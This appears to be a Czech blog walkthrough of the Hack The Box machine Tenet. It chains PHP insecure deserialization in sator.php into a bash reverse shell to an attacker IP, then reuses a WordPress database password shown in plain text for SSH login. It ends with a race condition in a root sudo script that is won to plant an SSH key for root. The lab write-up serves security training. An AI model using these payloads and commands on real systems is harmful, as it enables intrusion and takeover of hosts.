tom@home.htb:~$

Blog o HTB

22 January 2021

Tenet

Úvod a kontext

Tenet je ukázka klasické PHP insecure deserialization, která sama o sobě dává jen webový foothold, ale v kombinaci s WordPress konfigurací a špatně napsaným root helper skriptem vede až k úplné kompromitaci hostu.

První polovina článku je důležitá hlavně proto, že ukazuje rozdíl mezi „našel jsem záložní soubor“ a „rozumím objektu, který mohu serializací zneužít“. Druhá polovina je o race condition: root skript enableSSH.sh sice dělá zdánlivě užitečnou operaci, ale pracuje s dočasným souborem v /tmp způsobem, který lze přeběhnout.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji služby a zjišťuji, zda je stroj čistě webový, nebo zda má i další relevantní vstupy.

ports=$(nmap -p- -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Web zároveň obsahoval WordPress, takže dávalo smysl enumerovat uživatele a vedlejší cesty:

wpscan --url http://tenet.htb/ --random-agent -v 3 --enumerate
[+] protagonist
[+] neil

Analýza zjištění

sator.php a jeho záloha

Z komentáře na webu a následné enumerace vyplynulo, že na hostu existuje soubor sator.php a jeho záloha sator.php.bak. Právě záložní verze byla klíčová, protože zpřístupnila zdrojový kód:

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
        }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

To je přímo insecure deserialization. Útočník kontroluje objekt, který se předá do unserialize(), a díky __destruct() může zapsat libovolný obsah do libovolného souboru v adresáři aplikace. V Tenetu je dobře vidět, že nejde o „magický PHP bug“, ale o obecný trust failure mezi klientskými daty a objektovým modelem serveru.

Konstrukce payloadu

Praktický exploit spočívá v tom, že se vytvoří objekt DatabaseExport, kde:

Například:

class DatabaseExport {
  public $user_file = 'rce.php';
  public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.7/4444 0>&1\'"); ?>';
}

print urlencode(serialize(new DatabaseExport));

Takto vzniklý serializovaný objekt pak stačí předat parametru arepo.

Získání přístupu

Webshell přes deserializaci

Samotné zapsání payloadu proběhlo jedním requestem:

curl "http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A72%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.14.7%2F4444+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D"

Následné zavolání nově vytvořeného souboru dalo shell jako webový uživatel:

curl http://10.10.10.223/rce.php

Z WordPress konfigurace pak šlo přečíst lokální přihlašovací údaje:

define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );

A protože na systému existoval i účet neil, bylo rozumné zkusit reuse hesla mezi aplikací a systémem právě sem:

ssh neil@10.10.10.223

To fungovalo. Tím vznikl stabilní SSH přístup a bylo možné potvrdit user flag.

Eskalace oprávnění

Analýza enableSSH.sh

Lokální enumerace ukázala tuto sudo výjimku:

sudo -l
User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Skript zapisoval veřejný SSH klíč do dočasného souboru /tmp/ssh-* a následně jeho obsah kopíroval do /root/.ssh/authorized_keys. Problém byl v tom, že mezi vytvořením temp souboru a jeho použitím existovala krátká závodní podmínka.

To znamená, že když se podaří do některého /tmp/ssh* souboru včas přepsat vlastní veřejný klíč, skript ho sám zapíše rootovi.

Praktická exploitace je jednoduchá nekonečná smyčka:

while true; do echo "ssh-rsa __CENSORED__ hack@t" | tee /tmp/ssh* > /dev/null; done

Ve druhém terminálu pak stačí opakovaně spouštět:

sudo /usr/local/bin/enableSSH.sh

Jakmile se vlastní klíč propíše do rootova authorized_keys, lze se přihlásit přímo jako root přes SSH a přečíst root.txt.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - rce - ssh - sudo - php - exploit